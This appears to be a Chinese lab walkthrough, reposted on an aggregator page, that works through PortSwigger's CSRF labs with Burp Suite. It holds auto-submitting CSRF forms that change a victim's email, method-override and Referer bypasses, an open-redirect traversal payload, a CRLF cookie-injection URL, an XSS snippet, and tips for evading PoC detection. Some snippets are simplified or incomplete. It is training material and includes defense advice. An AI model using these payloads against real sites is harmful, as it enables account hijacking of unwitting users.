当前位置: 首页 > news >正文

手把手教你用Burp Suite搞定PortSwigger Labs的CSRF靶场(附12个Lab实战POC)

Burp Suite实战指南:12种CSRF漏洞攻防演练

在Web安全领域,CSRF(跨站请求伪造)始终是排名前五的高危漏洞类型。PortSwigger Labs作为全球知名的Web安全实战平台,其CSRF靶场设计了12个由浅入深的实验场景。本文将带你使用Burp Suite专业版,逐个击破这些精心设计的防御机制。

1. 基础工具配置与环境准备

1.1 Burp Suite基础配置

启动Burp Suite后,首先确保代理监听器正常运行。在Proxy→Options选项卡中,确认本地127.0.0.1:8080处于监听状态。浏览器需要配置相应的代理设置,并安装Burp的CA证书(通过访问http://burp/cert下载)。

重要提示:每次启动新Lab时,务必先清除浏览器缓存并关闭所有插件,避免跨实验干扰

1.2 靶场环境初始化

访问PortSwigger Academy官网,选择"Web Security Academy"下的CSRF专题。每个Lab都会分配唯一的子域名,例如:

https://0acb00ab035f2c2f81b72acd0037008a.web-security-academy.net

首次访问时会自动生成实验会话,保持该浏览器标签页不关闭即可维持会话状态。

2. 无防御机制的CSRF漏洞

2.1 基础漏洞原理

当应用仅依赖会话Cookie进行身份验证,且未校验请求来源时,攻击者可以构造恶意表单:

<form action="https://target-domain/change-email" method="POST"> <input type="hidden" name="email" value="attacker@evil.com"> </form> <script>document.forms[0].submit();</script>

2.2 Burp生成POC流程

  1. 使用凭证wiener:peter登录靶场
  2. 在修改邮箱页面输入测试值(如test@test.com)
  3. 拦截请求后右键选择"Generate CSRF PoC"
  4. 复制生成的HTML到Exploit Server的Body部分
  5. 点击"Deliver exploit"完成攻击验证

关键参数对比表:

参数类型正常请求恶意请求
Referer存在缺失
Origin同源跨域
CSRF Token

3. 基于请求方法的防御绕过

3.1 请求方法校验漏洞

某些应用仅在前端限制POST方法,但后端实际接受GET请求。在Burp中:

  1. 拦截正常POST请求
  2. 右键选择"Change request method"
  3. 观察响应状态码是否为302(重定向成功)
GET /my-account/change-email?email=hacker@evil.com HTTP/1.1 Host: vulnerable-website.com Cookie: session=validSessionId

3.2 自动化POC生成技巧

在Burp的CSRF PoC生成器中,手动修改form的method属性:

<form action="https://target/change-email" method="GET"> <input type="hidden" name="email" value="hacker@evil.com"> </form>

4. 令牌验证机制的多种绕过方式

4.1 令牌存在性检查缺陷

部分应用仅检查CSRF令牌是否存在,而不验证其有效性。测试步骤:

  1. 删除请求中的token参数
  2. 如果请求仍然成功,说明存在漏洞
  3. 生成不包含token字段的POC

4.2 会话绑定缺陷利用

当令牌不与用户会话绑定时:

  1. 使用wiener和carlos两个账户分别获取token
  2. 在Repeater中交叉测试token复用性
  3. 构造使用其他用户token的恶意请求

关键测试用例:

  • [ ] Token与会话ID绑定
  • [ ] Token与用户身份绑定
  • [ ] Token单次有效性验证
  • [ ] Token时效性检查

5. SameSite Cookie机制的突破方法

5.1 方法覆盖技术

当Cookie设置为SameSite=Lax时:

<form method="GET"> <input type="hidden" name="_method" value="POST"> <input type="hidden" name="email" value="hacker@evil.com"> </form>

5.2 客户端重定向利用

通过开放重定向漏洞绕过SameSite=Strict:

  1. 查找存在重定向的参数(如postId)
  2. 构造路径遍历payload:
/post/comment/confirmation?postId=../my-account/change-email?email=hacker@evil.com

5.3 同级域XSS组合攻击

当存在子域XSS时:

  1. 通过XSS建立WebSocket连接
  2. 获取敏感信息(如其他用户的CSRF token)
  3. 构造复合攻击链
fetch('https://vulnerable-subdomain/login', { method: 'POST', body: 'username=<script>stealToken()</script>&password=123' })

6. Referer验证的精准绕过

6.1 空Referer攻击

当应用仅检查Referer存在性时:

<meta name="referrer" content="no-referrer"> <form action="/change-email" method="POST"> <!-- 隐藏表单字段 --> </form>

6.2 部分匹配绕过技巧

若验证不严格,可通过以下方式伪造:

history.pushState('', '', '/victim-domain.com'); document.forms[0].submit();

配合HTTP头设置:

Referrer-Policy: unsafe-url

7. OAuth流程中的CSRF漏洞

7.1 认证流程时序攻击

利用OAuth回调时的Cookie刷新:

<script> window.open('/social-login'); setTimeout(() => { document.forms[0].submit(); }, 5000); </script>

7.2 关键攻击时间窗口

必须在以下条件同时满足时触发:

  • 用户完成OAuth认证
  • 新会话Cookie已设置
  • 原页面尚未刷新

8. 高级漏洞利用实战技巧

8.1 CRLF注入设置Cookie

通过搜索功能注入自定义Cookie:

/search?q=test%0d%0aSet-Cookie:%20csrfKey=injectedValue

对应的POC构造:

<img src="https://target/search?q=payload" onerror="submitForm()">

8.2 双重Cookie技巧

当应用同时检查请求体和Cookie中的token时:

document.cookie = "csrfToken=attackerValue"; document.forms[0].submit();

9. 防御措施与安全建议

9.1 服务端防护方案

  • 同源检测(Origin/Referer)
  • 密码学随机Token
  • 双重提交Cookie
  • 关键操作二次认证

9.2 客户端防护策略

  • SameSite=Strict
  • 敏感操作CAPTCHA验证
  • 短期会话有效期

10. 自动化测试脚本示例

使用Python自动化检测CSRF漏洞:

import requests def check_csrf(target_url, cookie): headers = {'Cookie': cookie} test_payload = {'email': 'test@csrf.com'} # 测试Token必要性 r1 = requests.post(target_url, data=test_payload, headers=headers) # 测试Referer检查 headers['Referer'] = 'https://attacker.com' r2 = requests.post(target_url, data=test_payload, headers=headers) return r1.status_code == 200 and r2.status_code == 200

11. 漏洞修复方案对比

不同防御机制的效果评估:

防御方式实施难度防护效果用户体验影响
CSRF Token中等★★★★★
SameSite Cookie简单★★★☆
Referer检查简单★★☆
二次认证复杂★★★★★

12. 实战经验与排错指南

常见问题解决方案:

  1. POC在本地生效但靶场失败

    • 检查Exploit Server的URL编码
    • 验证SameSite Cookie设置
    • 测试不同浏览器的安全策略
  2. 间歇性成功的攻击

    • 确认时间窗口是否足够
    • 检查Token的刷新频率
    • 添加适当的延迟机制
  3. Burp生成POC被拦截

    • 尝试手动构造简化版表单
    • 使用iframe嵌套规避检测
    • 添加迷惑性表单字段
http://www.jsqmd.com/news/603850/

相关文章:

  • Comsol弱形式求解三维光子晶体能带:快速而精确的模拟方法探索光子晶体的局域化光学行为
  • Visual C++运行库一站式解决方案:从依赖问题到高效部署
  • Spring Cloud OpenFeign实战:如何优雅地调用微服务接口(附完整代码示例)
  • 【C++27协程调试终极指南】:20年专家亲授5大不可外泄的断点追踪黑科技
  • Android WorkManager避坑指南:这样用才能真省电,而不是更耗电
  • simulink和carsim联合仿真的mpc轨迹跟踪模型。
  • 无需训练!实时手机检测-通用模型直接使用,效果媲美YOLO
  • WechatRealFriends:微信虚假好友检测工具,让社交关系更透明
  • 【Java基础面经】Java 注解的底层原理
  • 解密技术的范式革新:RPGMakerDecrypter如何重构游戏创作生态
  • Claude Code通关手册(一):转角遇到爱,真香体验
  • 小学数学
  • Vulfocus靶场实战:youdiancms 9.5.0 SQL注入漏洞(CVE-2022-32300)从审计到Getshell
  • 盘姬工具箱:免费无广告的良心工具箱推荐
  • PDF投喂翻车实录:手把手教你用AnythingLLM正确处理扫描版教材和文献
  • 【2024唯一通过FB内部CI验证的配置模板】:PyTorch 3.0 + TorchDynamo + DTensor静态图分布式训练100%复现方案
  • 我的博导也是干摩托车发动机的,他为什么没干出来
  • 2026人工智能GEO白皮书:B2B制造业从产业洞察到优化实践 - 罗兰艺境GEO
  • 微信聊天记录终极保存方案:5步轻松实现永久备份与智能分析
  • ADC前端模拟电路设计
  • WebLaTeX:重构LaTeX写作体验的云端协作平台
  • Omron D6F-PH差压传感器I²C驱动与嵌入式应用指南
  • WindowResizer终极指南:强力突破Windows窗口限制的专业工具
  • 效率飞跃:如何用copilot认证与快马ai加速你的课程数据统计分析作业
  • 抖音内容自动化采集架构设计:企业级开源解决方案的技术实现与商业应用
  • 解锁论文新姿势:书匠策AI——毕业论文的“智能魔法棒”
  • 保姆级教程:Doris Manager 23.11.2 最新版安装与集群接管实战(附常见问题排查)
  • OpenClaw Dreaming 完全指南 2026:AI 代理的后台记忆整合
  • 品牌承诺怎么写:一句承诺如何既让客户心动,又不让企业冒进
  • MogFace模型部署避坑指南:解决Python环境依赖与CUDA版本冲突